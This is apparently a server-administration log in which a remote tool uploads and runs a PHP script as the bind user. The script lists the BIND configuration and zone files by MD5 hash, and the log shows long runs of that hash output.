MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 18:06:22: Establishing a connection
2026-04-23 18:06:22: 

PUT: /tmp/pkp764820

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 18:06:22: 

runuser -l bind -s /bin/bash -c '/tmp/pkp764820; rm /tmp/pkp764820'

2026-04-23 18:06:22: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 18:07:02: Establishing a connection
2026-04-23 18:07:02: 

PUT: /tmp/pkp868595

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
